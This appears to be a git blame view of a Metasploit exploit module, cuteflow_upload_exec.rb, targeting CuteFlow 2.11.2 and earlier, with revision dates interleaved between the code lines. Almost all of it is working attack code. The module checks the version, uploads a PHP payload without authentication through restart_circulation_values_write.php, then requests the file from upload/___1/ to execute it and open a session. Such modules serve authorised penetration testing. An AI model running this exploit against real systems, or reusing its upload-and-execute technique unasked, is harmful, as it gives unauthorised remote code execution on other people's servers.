Files
metasploit-gs/modules/exploits/multi/http/cuteflow_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

123 lines
3.6 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
This application has an upload feature that allows an unauthenticated
user to upload arbitrary files to the 'upload/___1/' directory
and then execute it.
},
'License' => MSF_LICENSE,
'Author' => [
2019-01-10 19:19:14 +00:00
'bcoles' # Discovery and exploit
],
2025-06-20 13:20:44 +01:00
'References' => [
['URL', 'http://web.archive.org/web/20210922054637/https://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/'],
['OSVDB', '84829'],
2025-06-20 13:20:44 +01:00
# ['EDB', ''],
],
2025-06-20 13:20:44 +01:00
'Payload' => {
'BadChars' => "\x00"
},
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
},
2025-06-20 13:20:44 +01:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Targeting', { 'auto' => true }]
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DisclosureDate' => '2012-07-27',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
2025-06-20 13:20:44 +01:00
]
)
end
2013-08-30 16:28:54 -05:00
def check
2025-06-20 13:20:44 +01:00
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
res = send_request_raw({
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => base
})
2013-08-30 16:28:54 -05:00
2012-07-27 01:14:32 -05:00
if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
2014-01-21 14:10:35 -06:00
return Exploit::CheckCode::Appears
2012-07-27 01:14:32 -05:00
elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
def upload(base, fname, file)
# construct post data
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
2025-06-20 13:20:44 +01:00
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
data_post << "Content-Type: text/php\r\n"
data_post << "\r\n"
data_post << file
data_post << "\r\n"
data_post << "--#{boundary}\r\n"
2013-08-30 16:28:54 -05:00
# upload
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'POST',
'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
})
2013-08-30 16:28:54 -05:00
return res
end
2013-08-30 16:28:54 -05:00
def exploit
2025-06-20 13:20:44 +01:00
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
# upload PHP payload to upload/___1/
2016-02-01 15:12:03 -06:00
print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
2025-06-20 13:20:44 +01:00
fname = rand_text_alphanumeric(rand(10) + 6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|
res = upload(base, fname, php)
if res.nil?
2016-02-01 15:12:03 -06:00
print_error("Uploading PHP payload failed")
return
end
2013-08-30 16:28:54 -05:00
# retrieve and execute PHP payload
2016-02-01 15:12:03 -06:00
print_status("Retrieving file: #{fname}")
send_request_raw({
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(base, "upload/___1/#{fname}")
})
2013-08-30 16:28:54 -05:00
handler
end
end